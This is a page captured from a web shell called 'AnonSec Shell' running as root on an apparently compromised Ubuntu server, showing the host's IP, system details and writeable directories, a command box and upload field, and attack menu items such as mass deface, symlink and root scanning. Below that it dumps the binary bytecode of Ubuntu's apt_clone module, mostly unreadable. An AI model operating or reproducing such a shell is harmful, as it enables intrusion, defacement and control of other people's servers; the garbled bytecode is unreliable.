AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/DistUpgrade/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/DistUpgrade/__pycache__/apt_clone.cpython-310.pyc
o

\�Ha���@s�ddlmZddlZddlmZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlZddlZddlmZmZdejvrgej�dd�ej�dd�Gd	d
�d
e�ZGdd�de�ZdS)
�)�print_functionN)�FetchFailedException)�BytesIO�open�APT_CLONE_DEBUG_RESOLVERzDebug::pkgProblemResolver�1zDebug::pkgDepCache::AutoInstallc@sFeZdZdZdZdd�Zdd�Zddd	�Zd
d�Zdd
�Z	dd�Z
dS)�LowLevelCommandszN calls to the lowlevel operations to install debs
        or repack a deb
    z/usr/bin/dpkg-repackcCsF|sdSddg}|dkr|�dd�|�d|�t�||�}|dkS)NT�dpkgz-i�/r�chroot�)�insert�
subprocess�call)�self�debfiles�	targetdir�install_cmd�ret�r�7/usr/lib/python3/dist-packages/DistUpgrade/apt_clone.py�install_debs3szLowLevelCommands.install_debscCshtj�|j�std|j��|jg}t��dks&tj�d�s dSddg|}tj||g|d�}|dkS)z$ dpkg-repack pkgname into targetdir z
no '%s' foundrz/usr/bin/fakerootN�fakerootz-u)�cwd)�os�path�exists�dpkg_repack�IOError�getuidrr)r�pkgnamer�
repack_cmdrrrr�
repack_deb=szLowLevelCommands.repack_debNcCs,|dur
t��d}t�d||g�}|dkS)N�CODENAME�debootstrapr)�lsb_release�get_distro_informationrr)rr�distrorrrrr$IszLowLevelCommands.debootstrapcCst�dd|d|g�}|dkS)Nzapt-keyz	--keyring�addr�rr)r�fromkeyfile�intokeyfilerrrr�
merge_keysOs
�zLowLevelCommands.merge_keyscCst�dd||g�}|dkS)N�mountz--bindrr))r�olddir�newdirrrrr�
bind_mountTszLowLevelCommands.bind_mountcCst�d|g�}|dkS)N�umountrr))r�binddirrrrr�bind_umountXszLowLevelCommands.bind_umount�N)�__name__�
__module__�__qualname__�__doc__rrr"r$r,r0r3rrrrr-s

rc@sDeZdZdZde��dZdZ		dIdd�Z		dJd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdKdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�ZdLd.d/�Z		dMd0d1�ZdNd2d3�ZdNd4d5�Zd6d7�ZdOd8d9�Z d:d;�Z!d<d=�Z"d>d?�Z#d@dA�Z$dPdCdD�Z%dLdEdF�Z&dGdH�Z'dS)Q�AptClonez� clone the package selection/installation of a existing system
        using the information that apt provides

        If dpkg-repack is installed, it will be used to generate debs
        for the obsolete ones.
    zapt-clone-state-%s.tar.gzr�./NcCsft�|_t�|_t�|_|r||_ntjj�	�|_|r||_
ntjj��|_
|r-||_
dStj|_
dSr4)�set�not_downloadable�version_mismatchr�commands�fetch_progress�apt�progress�text�AcquireProgress�install_progress�base�InstallProgress�
_cache_cls�Cache)rr?rD�	cache_clsrrr�__init__hs
zAptClone.__init__FcCstj�|�rtj�||j�}n	|�d�s|d7}|dkr7t��tj�	d|�tj�	dtj�|d��t�
�tj|dd��E}|�
|�|�||�|�|�|�||�|�|�|�|�|�||�|rl|�|�|r{|�|�Wd	�d	SWd	�d	S1s�wYd	S)
z� save the current system state (installed pacakges, enabled
            repositories ...) into the apt-state.tar.gz file in targetdir
        z.tar.gzz.apt-clone.tar.gzr
�Dir�Dir::State::statuszvar/lib/dpkg/statuszw:gz)�name�modeN)rr�isdir�join�CLONE_FILENAME�endswith�apt_pkg�init_config�configr;�init_system�tarfiler�_write_uname�_write_state_installed_pkgs�_write_state_auto_installed�_write_state_sources_list�_write_state_apt_preferences�_write_state_apt_keyring�_write_state_extra_files�_write_state_dpkg_status�_dpkg_repack)r�	sourcedir�target�with_dpkg_repack�with_dpkg_status�
scrub_sources�extra_files�tarrrr�
save_state�s4
�




�
"�zAptClone.save_statecCs2t��dt��dt��dtj�d�d�}|S)Nr��zAPT::Architecture)�hostname�kernel�
uname_arch�arch)r�unamerSrU�find)r�	host_inforrr�_get_host_info_dict�s



�zAptClone._get_host_info_dictcCsV|��}tjdd�}d�dd�|��D��}|�|d�|��|j|jdd�dS)N�w�rN�
cSsg|]
\}}d||f�qS)z%s: %sr)�.0�key�valuerrr�
<listcomp>�s�z)AptClone._write_uname.<locals>.<listcomp>z./var/lib/apt-clone/uname��arcname)	rr�tempfile�NamedTemporaryFilerP�items�write�flushr(rM)rrgrq�f�inforrrrX�s
�zAptClone._write_unamecCs<|durdS|D]}t�|�D]}|j|d|d�qqdS)Nz
./extra-filesrz)�globr()rrfrg�pr�rrrr^�s��z!AptClone._write_state_extra_filesc
CsT|j|d�}d}d}t��d}|D]]}|jro|d|j|jjt|j�f7}|j	r-|j	j
s5|j�|j�n|jj
r=|j	j
sD|j
�|j�|jjD]&}|jdkrU|jdkrUqH|j|krn|d|j|jj|jdkri|jndf7}qt�d�}	|�d�}t|�|	_t��|	_|�|	t|��t�d	�}	|�d�}t|�|	_t��|	_|�|	t|��dS)
N��rootdir��IDz	%s %s %s
�now�unknownz"./var/lib/apt-clone/installed.pkgs�utf-8z ./var/lib/apt-clone/foreign.pkgs)rGr%r&�is_installedrM�	installed�version�int�is_auto_installed�	candidate�downloadabler<r(r=�origins�archive�originrW�TarInfo�encode�len�size�time�mtime�addfiler)
rrarg�cache�s�foreign�	distro_id�pkg�o�tarinforrrrY�sF��

��







z$AptClone._write_state_installed_pkgscCstj�d�}|j|dd�dS)N�dir::state::statusz./var/lib/apt-clone/dpkg-statusrz)rSrU�	find_filer()rrg�dpkg_statusrrrr_�sz!AptClone._write_state_dpkg_statuscCs,tj�d�}tj�|�r|�|d�dSdS)NzDir::State::extended_statesz#./var/lib/apt-clone/extended_states)rSrUr�rrrr()rrg�extended_statesrrrrZ�s��z$AptClone._write_state_auto_installedcC�Vtj�d�}tj�|�r|j|dd�tj�dd�}tj�|�r)|j|dd�dSdS)NzDir::Etc::preferencesz./etc/apt/preferencesrzzDir::Etc::preferencespartsz/etc/apt/preferences.dz./etc/apt/preferences.d�rSrUr�rrrr(�find_dir�rrgr�r�rrrr\����z%AptClone._write_state_apt_preferencescCr�)NzDir::Etc::trustedz./etc/apt/trusted.gpgrzzDir::Etc::trustedpartsz/etc/apt/trusted.gpg.dz./etc/apt/trusted.gpg.dr�r�rrrr]�r�z!AptClone._write_state_apt_keyringcCs�tj�d�}|�|||d�tj�d�}tj�|�rM|j|ddd�t�	|�D]'}|�
d�r/q'|�d�s5q'd	||f}tj�|�rBq'|�|||d
|�q'dSdS)N�Dir::Etc::sourcelistz./etc/apt/sources.list�Dir::Etc::sourcepartsz./etc/apt/sources.list.dF)r{�	recursive�.z.listz%s/%sz./etc/apt/sources.list.d/)
rSrUr��$_add_file_to_tar_with_password_checkr�rrrr(�listdir�
startswithrRrO)rrg�scrub�sources_list�source_parts�source�sources_file_namerrrr[�s.
��

��z"AptClone._write_state_sources_listc	Cs�|rktjdd��Y}t|d��;}|��D]&}t|�tur |�d�}t�d|�r-t�	dd|�}|�
|�d��|��q|j
|j|d�Wd�n1sLwYWd�dSWd�dS1sdwYdS|j
||d�dS)	N�wbrt�rbzUTF-8z/[^/@:]*:[^/@:]*@z/USERNAME:PASSWORD@r�rz)r|r}r�	readlines�type�bytes�decode�re�search�subrr�r�r(rM)rrg�sourcesr�r{�source_copyr��linerrrr�s
�
P�z-AptClone._add_file_to_tar_with_password_checkcCsdSr4r�rrgrrr�_write_modified_files_from_etc%sz'AptClone._write_modified_files_from_etccCs>t��}|jD]	}|j�||�q|j|dd�t�|�dS)N�./var/lib/apt-clone/debsrz)r|�mkdtempr<r>r"r(�shutil�rmtree)rrg�tdirr rrrr`)s

zAptClone._dpkg_repackcCs&|��d�d�rd|_dSd|_dS)N���r:r�)�getnamesr��	TARPREFIXr�rrr�_detect_tarprefix2s

zAptClone._detect_tarprefixcCs�t�|��L}|�|�|�|jd�}|��D]1}|�d�}|�d�s)|��dkr*q|�	�}t
|�dkrH|d�d�sH|dWd�SqWd�dS1sTwYdS)N�etc/apt/sources.listr��#r�rir
)rWrr��extractfiler�r�r�r��strip�splitr�rR)r�	statefilergr�r��lrrr�_get_info_distro:s"


��
��zAptClone._get_info_distroc	Cs4|�|�pd}t�|���}|�|jd�}d}}g}|��D]&}|�d�}|����\}	}
}|d7}t	|�r;|d7}|	�
d�rE|�|	�q|�|jd�}|j
}
d}d}|jd|��vry|�|jd���}t�|�}|�dd�}|�d	d�}||d
�|�||t�|
�|d�Wd�S1s�wYdS)Nr�� var/lib/apt-clone/installed.pkgsrr�rz-desktopzvar/lib/apt-clone/unamerkrnz, )rkr'�metar��
autoinstalled�datern)r�rWrr�r�r�r�r�r�r�rR�append�	getmemberr�r��readrS�
TagSection�getrPr��ctime)rr�r'rgr�r�r�r�r�rMr��auto�mr�rkrnr��sectionrrr�_get_clone_info_dictHsP�


����
�$�zAptClone._get_clone_info_dictcCsd|�|�S)Nz�Hostname: %(hostname)s
Arch: %(arch)s
Distro: %(distro)s
Meta: %(meta)s
Installed: %(installed)s pkgs (%(autoinstalled)s automatic)
Date: %(date)s
)r�)rr�rrrr�ps�z
AptClone.infocCs�t�|��*}|�|�|�|j|dd��}g}|��D]
}|�|�d��qWd�n1s2wY||}tj	�
|�rZt|��}|��}	Wd�n1sTwYng}	tj|	|d||d�}
g}|
D]}|�|�qk|S)Nrr�zcurrent-system%s)�fromfile�tofile)
rWrr�r�r�r�r�r�rrr�difflib�unified_diff)rr��system_filerrg�
clone_file�clone_file_linesr��fp�system_file_lines�gen�diffrrr�_get_file_diff_against_cloneys.
��

���z%AptClone._get_file_diff_against_cloner
c	Csp|dkrtj�d|�td�|��}|�|�}|D]}|�|d�|�|d�kr9td||�|d�|�|d�f�qtd�d}|�|||�}|rPtd�|��|j	|d�}t
�|��7}	|	�|j
d�}
i}|
��D] }|���d	�}|�d
�s||dkr}qj|��\}
}}||f||
<qjWd�n1s�wYi}|D]}|js�q�|jjt|j�f||j<q�t|���t|���}|r�td�td�t|���td
�t|���t|���}|r�td�td�t|���td
�t�}t|�D] }||vr�q�||\}}||\}}||k�r|�|||f�q�|�r4td�td�|D]\}}}td|||f��q$dSdS)Nr
�DPkg::Chroot-DirectoryzClone info differences: z '%s': clone='%s' system='%s'r�z/etc/apt/sources.listr�r�r�r�z2Installed on the system but not in the clone-file:� ruz2Installed in the clone-file but not in the system:zVersion differences: z-Pkgname <clone-file-version> <system-version>z %s  <%s>   <%s>)rSrUr;�printrrr�r�r�rPrGrWrr�r�r�r�r�r�r�r�r��strr�rM�keys�sortedr()rr�rrq�
clone_inforw�sources_list_systemr�r�rgr��installed_in_cloner�rMr�r��installed_on_systemr��only_on_system�
only_in_clone�pkgversion_differencesr �clone_file_pkgversion�
clone_is_auto�system_pkgversion�sys_is_auto�	clone_ver�
system_verrrr�	show_diff�s�

�������
���zAptClone.show_diffc	Cs:|dkr#tj�d|�|j�dtj�|d��|j�dtj�|d��t�	|��
}|�
|�Wd�n1s8wYtj�|�sUtd|�|�
|�}|j�||�|j|||d	�|�||�|rk|�||�|�||||�|�||�|�||�|dkr�|j�tj�|d��|j�tj�|d��dSdS)
z� take a statefile produced via (like apt-state.tar.gz)
            save_state() and restore the packages/repositories
            into targetdir (that is usually "/")
        r
r�z/proc�procz/sys�sysNz0Dir '%s' does not exist, need to bootstrap first)�mirror)rSrUr;r>r0rrrPrWrr�rr�r�r$�_restore_sources_list�_restore_apt_keyring�_rewrite_sources_list�_restore_package_selection�_restore_not_downloadable_debs�_restore_extra_filesr3)	rr�r�exclude_pkgs�
new_distro�protect_installedrrgr'rrr�
restore_state�s,�
�zAptClone.restore_statecCs�t��}tj�d�}tj�|tj�|��s!t�	|tj�|��t
�|||�|�||�|r7|�
||�|j|d�}z|�tjj���Wn	tyQYnw|��|j|||d�}t
�|�|S)Nr�r�)r)r|r�rSrUr�rrr�dirname�makedirsr��copyr	rrG�updater@rArErCrr�#_restore_package_selection_in_cacher�)rr�rrrbr�r��missingrrr�simulate_restore_states$�
zAptClone.simulate_restore_statec
	Cs,t�|���}tj�|ddd�}tj�|�rt�|d|�|�|j	d|�tj�|ddd�}t�
|tjtj
BtjBtjB�|rgddlm}tj�d|�|�}|jdd�D]
}	|	j|krb||	_qX|��z|�|j	d	|�Wn	ty{Yn	wWd�dSWd�dS1s�wYdS)
N�etcr@�sources.list�%s.apt-cloner�r)�SourcesListr�zetc/apt/sources.list.d)rWrrrrPrr�r�extractr��chmod�stat�S_IRUSR�S_IWUSR�S_IRGRP�S_IROTH�aptsources.sourceslistrrSrUr;�list�uri�save�KeyError)
rr�rrrg�existing�
td_sourcesrr��entryrrrr	s6�
����"�zAptClone._restore_sources_listc	Cs�tj�|ddd�}d|}tj�|�rt�||�t�|��M}z|�|j	d|�Wn	t
y3Ynwz|�|j	d|�Wn	t
yHYnwtj�|�rc|j�||�t�
|�Wd�dSWd�dS1snwYdS)Nrr@ztrusted.gpgrzetc/apt/trusted.gpgzetc/apt/trusted.gpg.d)rrrPrr�rrWrrr�r)r>r,�remove)rr�rr*�backuprgrrrr
0s*���	"�zAptClone._restore_apt_keyringc
Cs|durg}t|�}t�}t�}t�|j�}|r&|D]}|jr%|�|j�qt�|���}	|	�	|j
d�}
|����|
��D]�}|�
��d�}|�d�sO|dkrPq=|��\}}
}dd�}|||�raq=|�|�t|�}|}||vr�z*|r�||j|dd�|jd	kr�|��||js�td
|��n||j|d�Wn ty�}zt�d||f�|�|�WYd}~nd}~ww||�|�q=Wd�n1s�wYWd�n1s�wY|jd	kr�|��|D]}||vr�|�|�q�||j�s
||j�s
|�|�q�|S)
Nr�r�r�r�cSs |D]}t�||�r
dSqdS)NT)�fnmatch)rMr�exclrrr�is_excluded\s
��zAAptClone._restore_package_selection_in_cache.<locals>.is_excludedF)�	from_user�auto_fixrzpkg %s not marked upgrade)r2zcan't add %s (%s))r;rS�ProblemResolver�	_depcacher��protect�_pkgrWrr�r��actiongroupr�r�r�r�r�r(r��mark_install�broken_count�resolve�marked_install�SystemError�logging�warning�	mark_auto)rr�r�rrr�pkgs�resolverr�rgr�r�rMr�r�r1�auto_installedr2�errrrBsv��




���������
&

�z,AptClone._restore_package_selection_in_cachecCs||j|d�}tjj�dd�tjj�dd�z|�|j�Wn	ty'Ynw|��|�	||||�|�
|j|j�dS)Nr�zDir::Binr
zDir::Bin::dpkgz
/usr/bin/dpkg)rGr@rSrUr;rr?rrr�commitrD)rr�rrrr�rrrr�s�z#AptClone._restore_package_selectioncCstt�|��+}|��D]}|jd}|j�|�r'|jt|�d�|_|�||�q
Wd�dS1s3wYdS)Nzextra-files/)rWr�
getmembersr�rMr�r�r)rr�rrgr��prefixrrrr�s
��"�zAptClone._restore_extra_filesc		s�t�|��,}z�fdd�|��D�}|�||�Wnty)YWd�dSwWd�n1s4wYg}tj�|d�}t�tj�|d��D]}tj�||�}|�	|�qL�j
�||�dS)Ncs"g|]
}|j��jd�r|�qS)zvar/lib/apt-clone/debs/)rMr�r�)rvr��rrrry�s"z;AptClone._restore_not_downloadable_debs.<locals>.<listcomp>r�z*.deb)rWrrF�
extractallr)rrrPr�r�r>r)	rr�rrg�debsdir�debsr�deb�debpathrrHrr
�s ���z'AptClone._restore_not_downloadable_debscCs�ddlm}m}tj�dtj�tj�	|ddd���tj�dtj�tj�	|ddd���|�}|j
dd�D])}|js>|jr?q6d	}d
D]}|j
�d|�rUd||f}nqC|r\||_
q6||_
q6tj�	|ddd
�}	tj�d�}
tj�|	�r�t|	d��"}|D]}|||
�}
|
js�|
js�|
|vr�|j
�|
�q}Wd�n1s�wYt�|	�|j
D]}|j�d�r�|j
�|�|j
�d|�d|_q�|��dS)Nr)r�SourceEntryr�rr@rr�zsources.list.dr�)�updates�security�	backportsz-%sz%s-%szsources.list.apt-clone�rzcdrom:T)r%rrNrSrUr;rr�abspathrPr&�invalid�disabled�distrRr�rrr�r-r'r�r
r()rrrrrNr�r,�replacement�pocketr*�
sourcelistr�r��srcrrrr�sV����
���

�zAptClone._rewrite_sources_listr�c	Cs�|r
tj�|d�}nd}t�}tj�tj�d��}t�tj�|dd��D])}t	|dd��}|D]}|�
d�r=|�|���q/Wd�n1sHwYq$t�}t�
|�D] \}	}
}|D]}tj�|	t|�d�|�}
|
|vru|�|
�q]qV|S)	Nrz/etcrLr�z*.listr�)�encodingz/etc/)rrrPr;rrSrUr�r�rr�r(r��walkr�)rra�etcdir�owned�dpkg_basedirr�r�r��unowned�dirpath�dirnames�	filenamesrM�fullnamerrr�_find_unowned_in_etc�s.
����
��zAptClone._find_unowned_in_etcc
CsR|tj�d�}t�}t|���}t�|�}|D]}d|vr�|d�d�D]q}d}t|���dkr8|��\}	}
}n|��\}	}
||	}|
��}
|dkrKq$t	j
�|�s^t�
d|�|�|�q$t��}t|d��}|�|���Wd�n1sywY|��|
kr�t�
d||��|
f�|�|�q$qWd�|S1s�wY|S)	NrL�	conffilesru��obsoletezconffile %s removedr�zconffile %s (%s != %s))rSrUrpr;r�TagFiler�r�r�rrrr>�debugr(�hashlib�md5rr��	hexdigest)
rrar��modifiedr��tagr,r�rhrM�md5sumrrlrrr�_find_modified_conffiles�sD


�
�
��
��z!AptClone._find_modified_conffilescCstd�dS)Nznot implemented yet)r�)rrarrr�_dump_debconf_database
szAptClone._dump_debconf_database)NNN)FFFN)F)r
)r
NNFNr4)FN)r�)(r5r6r7r8rrorQr�rJrhrrrXr^rYr_rZr\r]r[r�r�r`r�r�r�r�r�rrrr	r
rrrr
rrerqrrrrrrr9]sT
�
� 	
$	
		(	
K
�
&

@	
*
#r9)�
__future__rr@�	apt.cacherrSr�r/r�rkr>r%rr�r�r rrWr|r��iorr�environrUr;�objectrr9rrrr�<module>s0
0

Anon7 - 2022
AnonSec Team